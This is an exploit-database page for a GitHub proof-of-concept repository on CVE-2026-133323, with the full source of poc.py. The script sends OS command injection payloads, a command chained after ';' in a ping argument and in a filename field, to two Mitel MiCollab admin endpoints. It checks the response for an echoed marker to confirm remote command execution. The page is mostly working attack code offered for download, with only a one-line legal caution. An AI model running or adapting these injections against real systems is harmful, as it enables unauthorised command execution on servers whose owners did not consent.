Exploit database

GH-2b6032d5ed5730060964392b7b1dd98b

cveforge/cve-2026-133323

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-133323

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
cveforge/cve-2026-133323Revision 43bb89a5ddc3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 3,963 bytes
BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗ ███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚█████╔╝██║  ██║╚██████╔╝███████╗
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝

  CVE-2026-133323 — Mitel MiCollab OS Command Injection
  CVSS 10.0 | Critical | CWE-78 | Mitel MiCollab
"""

VERSION = "1.0.0"
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print(BANNER)
print(f"Version: {VERSION}\n")

MARKER = "cveforge_mitel_8z3k"

def check_vulnerability(url: str, timeout: int = 10) -> dict:
    """Check Mitel MiCollab for OS command injection (CVE-2026-133323)."""
    result = {"url": url, "vulnerable": False, "status_code": None, "details": "", "payload": None}

    test_cases = [
        {
            "endpoint": "/npm/admin/cmd.php",
            "data": {"data": f"ping -c 1 127.0.0.1;echo {MARKER}"}
        },
        {
            "endpoint": "/npm/admin/NuPoint/import_contacts.php",
            "data": {"filename": f"test.csv;echo {MARKER}"}
        },
    ]

    for case in test_cases:
        target = f"{url.rstrip('/')}{case['endpoint']}"
        try:
            resp = requests.post(
                target,
                data=case["data"],
                verify=False,
                timeout=timeout,
                headers={"User-Agent": "Mozilla/5.0 (compatible; SecurityResearch/1.0)"}
            )
            result["status_code"] = resp.status_code

            if MARKER in resp.text:
                result["vulnerable"] = True
                result["payload"] = str(case["data"])
                result["details"] = (
                    f"OS command injection confirmed on {case['endpoint']}\n"
                    f"Marker '{MARKER}' present in response"
                )
                return result

        except requests.exceptions.ConnectionError:
            result["details"] = f"Connection error: {url}"
            return result
        except requests.exceptions.Timeout:
            result["details"] = "Request timed out"
            return result
        except Exception as e:
            result["details"] = f"Error: {e}"

    result["details"] = "Command injection not confirmed — target may be patched"
    return result

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-133323 — Mitel MiCollab OS Command Injection PoC"
    )
    parser.add_argument("url", help="Target URL (e.g. https://micollab.target.com)")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(f"[*] Target: {args.url}")
    print(f"[*] Testing OS command injection...\n")

    result = check_vulnerability(args.url, timeout=args.timeout)

    if result["vulnerable"]:
        print(f"[+] VULNERABLE: {result['details']}")
    else:
        print(f"[-] Not vulnerable: {result['details']}")

    print("\n[!] LEGAL: Use only on systems you are authorized to test.")

if __name__ == "__main__":
    main()